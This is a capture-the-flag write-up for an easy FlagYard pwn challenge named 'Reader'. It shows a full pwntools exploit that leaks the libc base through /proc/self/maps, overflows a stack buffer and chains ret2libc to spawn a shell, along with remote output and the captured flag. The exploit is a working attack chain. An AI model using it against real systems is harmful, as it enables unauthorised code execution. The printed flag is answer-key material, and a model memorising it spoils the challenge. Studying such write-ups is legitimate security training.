Reader
Author: 0xIDA
Platform: FlagYard · Category: pwn · Difficulty: Easy
Solvers
Summary
Easy PIE binary with an intentional file-reader and a stack buffer overflow. The path filter blocks any path containing flag, so leak libc via /proc/self/maps, then ret2libc for a shell and read /app/flag.
Challenge Description
try to read the flag.
- Protocol: TCP (
tcp.flagyard.com:<port>) - Files:
reader,libc.so.6(Ubuntu GLIBC 2.39) - Protections: Partial RELRO, no canary, NX, PIE, not stripped
- Symbols:
main,setup, emptywin
Reconnaissance
checksec --file=reader
# Partial RELRO | No canary | NX | PIE
strings reader
# "give me file to read: "
# "can't read this file "
# "can't open this file "
# "flag" (filter string)
main logic (decompiled):
setup()— unbuffered stdio- Loop:
printf("give me file to read: ") read(0, buf, 0x100)into stack buffer atrbp-0x70(overflow: 256 into 112)strcspnstrip newline →strstr(path, "flag")rejectfopen(path, "r")thenfgetc/putchardump, then loop again- On filter/open failure:
leave; ret— controlled RIP
Offset to RIP: 0x70 + 8 = 0x78.
Vulnerability Analysis
| Issue | Detail |
|---|---|
| Stack BOF | read(0, buf, 0x100) vs 0x70-byte buffer; no canary |
| Arbitrary file read | Any path not containing substring flag |
| Filter | Case-sensitive strstr(..., "flag") blocks /flag, ./flag, etc. |
win | Empty stub — not useful |
Attack chain:
- Read
/proc/self/maps(noflagin path) → libc base - Overflow invalid path → fail
fopen→ return into ROP system("/bin/sh")via provided libc gadgets
Exploitation
#!/usr/bin/env python3
from pwn import *
context.binary = ELF("./reader", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
io = remote("tcp.flagyard.com", 24094) # instance port
io.recvuntil(b"read: ")
io.sendline(b"/proc/self/maps")
maps = io.recvuntil(b"give me file to read: ").decode(errors="replace")
libc_base = None
for line in maps.splitlines():
if "-" not in line[:20]:
continue
parts = line.split()
try:
start = int(parts[0].split("-")[0], 16)
off = int(parts[2], 16)
except Exception:
continue
path = parts[-1] if len(parts) >= 6 else ""
if "libc" in path and libc_base is None:
libc_base = start - off
rop = ROP(libc)
pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address
retg = libc_base + rop.find_gadget(["ret"]).address
system = libc_base + libc.sym.system
binsh = libc_base + next(libc.search(b"/bin/sh"))
payload = flat({0x78: [retg, pop_rdi, binsh, system]})
io.sendline(payload)
io.sendline(b"cat /app/flag")
print(io.recvall(timeout=2))
Live remote output (abridged)
libc @ 0x7f2ba1800000
...
PWNED
uid=1000(ubuntu) gid=1000(ubuntu)
-rw-r--r-- 1 nobody nogroup 40 ... flag
FlagY{697f54b8dcf4dcb165303b6757fea8ff}
Submit: Success (isSuccess: true, Flagyard API).
Flag Retrieval
Shell after ret2libc; flag on disk at /app/flag (path blocked by filter if opened through the intended reader).
FlagY{697f54b8dcf4dcb165303b6757fea8ff}
Key Takeaways
- Intentional "read any file" + blocked keyword → use
/proc/self/mapsfor ASLR bypass, not path filter tricks alone. - Overflow on the error path (
fopenfail / filter) is enough when the happy path loops forever. - Always use the handout libc offsets for remote; host libc often differs.
- Extra
retfor 16-byte stack alignment beforesystemon modern glibc.
Tools Used
- pwntools (process/remote, ELF, ROP)
- checksec, objdump, readelf, strings
- Flagyard MCP (submit)
Files
- Challenge binary + handout libc (not redistributed)
- Solver: published on R2 (see Solvers above)